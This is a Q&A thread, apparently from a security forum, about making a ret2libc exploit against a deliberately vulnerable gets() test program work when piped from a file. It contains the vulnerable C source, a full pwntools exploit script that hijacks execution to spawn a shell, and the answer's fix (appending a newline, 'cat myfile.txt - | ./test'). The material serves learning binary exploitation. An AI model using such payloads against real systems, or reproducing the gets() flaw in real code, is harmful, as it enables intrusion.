ret2libc: problem getting exploit work without pwntools

Question

I am trying to exploit this program test with ret2libc. Only NX is enabled.

#include <stdio.h>

void vuln() {
    char buffer[256];
    gets(buffer);
}

int main() {
    vuln();
    return 0;
}

I am able to exploit the program with pwntools, but I am unable to exploit it doing ./test < myfile.txt.

Exploit:

#!/bin/python3
from pwn import process, gdb, shellcraft, p32, asm
from pwnlib.util.cyclic import cyclic, cyclic_find
import os

LOCAL_BIN = "./test"
SYSTEM_ADDR = 0xf7e10420 # p system
SHELL_ADDR = 0xf7f5a352 # find &system,+9999999,"/bin/sh"
EXIT = 0xf7e02f80 # p exit
OFFSET = 264 # offset to ebp
P = process(LOCAL_BIN)
G = gdb.attach(P.pid, "b *0x080491c7")

payload = b''
payload = payload.ljust(OFFSET, b'A')
payload += b'BBBB' # fill ebp with \x42
payload += p32(SYSTEM_ADDR)
payload += p32(EXIT)
payload += p32(SHELL_ADDR)

# write bytes to file. ./test < myfile.txt should work the same?
with open('myfile.txt', 'wb') as w:
    w.write(payload)

P.sendline(payload)
P.interactive()
exit()

What is the difference from running pwntools and piping bytes into the program?

Answer 1

It seems that I made two critical mistakes when I tried to use myfile.txt to exploit the binary.

1. When writing the exploit to the file I did NOT append \n to the payload. P.sendline() appends this to the payload automatically. Without \n the function gets() just keeps asking for more input.
2. The second mistake was not to include the stdin when piping to myfile.txt. I am unsure about the specifics about this, but when running cat myfile.txt - | ./test I got the shell I wanted.